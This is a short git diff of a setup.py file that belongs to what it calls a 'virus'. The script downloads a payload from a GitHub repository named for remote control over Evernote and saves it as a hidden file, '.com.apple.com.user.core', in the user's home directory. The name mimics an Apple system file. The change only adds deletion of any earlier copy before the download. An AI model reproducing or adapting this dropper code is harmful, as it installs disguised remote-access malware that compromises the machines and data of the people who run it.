diff options
| author | littleblack111 <jerrylam110209@gmail.com> | 2023-08-14 17:50:41 +0800 |
|---|---|---|
| committer | littleblack111 <jerrylam110209@gmail.com> | 2023-08-14 17:50:41 +0800 |
| commit | 8ab6e76e7d58741f2df377191411664943fd6305 (patch) | |
| tree | 357dc6e0df9a5d3600b5460ca82f2a76c5c43bf5 /setup.py | |
| parent | c25a65117e81650f83130d24ee28b05f84cbae41 (diff) | |
updated
Diffstat (limited to 'setup.py')
| -rw-r--r-- | setup.py | 7 |
1 files changed, 6 insertions, 1 deletions
@@ -2,12 +2,17 @@ from requests import get from os.path import expanduser from os import remove from subprocess import Popen as subproc -from os import system +from os import system, remove from sys import platform filename = "com.apple.com.user.core" localfile = f"{expanduser('~')}/.{filename}" +try: + remove(localfile) +except FileNotFoundError: + pass + # download main virus open(localfile, 'wb').write(get("https://raw.githubusercontent.com/mrdog233o5/Remote-Control-With-Evernote/main/main", allow_redirects=True).content) |
